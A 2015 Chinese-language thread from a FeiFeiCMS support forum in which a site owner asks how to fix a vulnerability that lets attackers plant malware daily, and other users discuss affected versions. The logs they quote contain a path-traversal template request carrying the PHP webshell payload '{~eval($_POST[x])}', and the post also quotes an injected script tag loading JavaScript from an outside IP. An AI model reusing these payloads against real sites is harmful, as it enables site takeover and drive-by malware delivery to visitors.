老大，就是这个漏洞啊，怎么修复啊，天天挂马

漏洞危害等级非常高，只要被盯上了，有的烦哦。

wooyun.org/bugs/wooyun-2010-082291

下面是后台监控到的日志。

[ 2015-03-24T20:08:54+08:00 ] ERR: (ThinkException) 模板不存在[my_\..\runtime\logs\15_03_16.log]
[ 2015-03-24T20:09:09+08:00 ] ERR: (ThinkException) 模板不存在[my_\..\runtime\logs\15_03_16.log]
[ 2015-03-24T20:09:20+08:00 ] ERR: (ThinkException) 模板不存在[my_\..\runtime\logs\{~eval($_POST[x])}]
[ 2015-03-24T20:09:20+08:00 ] ERR: (ThinkException) 模板不存在[./Tpl/1080p/Home/my_new.html]
[ 2015-03-24T20:09:26+08:00 ] ERR: (ThinkException) 模板不存在[./Tpl/1080p/Home/my_new.html]

挂马的就是这个狗日的。：

document.write('<script type="text/javascript" src="htt##p:/###/121.40.113.68/header.js"></script>');
发不了连接 #号隔开

当前处理办法：tpl 目录完全不可写。木马就写到 runtime 目录了

飞飞cms官方论坛-www.feifeicms.vip

tom · 发表于 2015-3-25 11:36:03

哪个版本的？我怎么没有呢

淘金者 · 发表于 2015-3-25 12:09:50

这个不是最新版本的漏洞吧

tom · 发表于 2015-3-25 12:51:40

哦，那就好，我用的3.0的，只要3.0没有就ok

匿名 *发表于 2015-3-25 12:59:56* · 发表于 2015-3-25 12:59:56

版本2.9的这个漏洞很隐瞒，别高兴太早了，应该是哪里过滤不严。

用手机访问 ff 建的站，很多都中招。

平常是很难发现的。一打开下载 apk 安卓软件

好多人中了都不知道的。

nilo · 发表于 2015-3-28 02:05:04

3.0也有漏洞的.在会员系统这块.

846262261 · 发表于 2015-4-18 10:20:40

thinkphp框架问题吧这框架好久都不更新的自己更新下吧

老大，就是这个漏洞啊，怎么修复啊，天天挂马

该贴共收到 6 条回复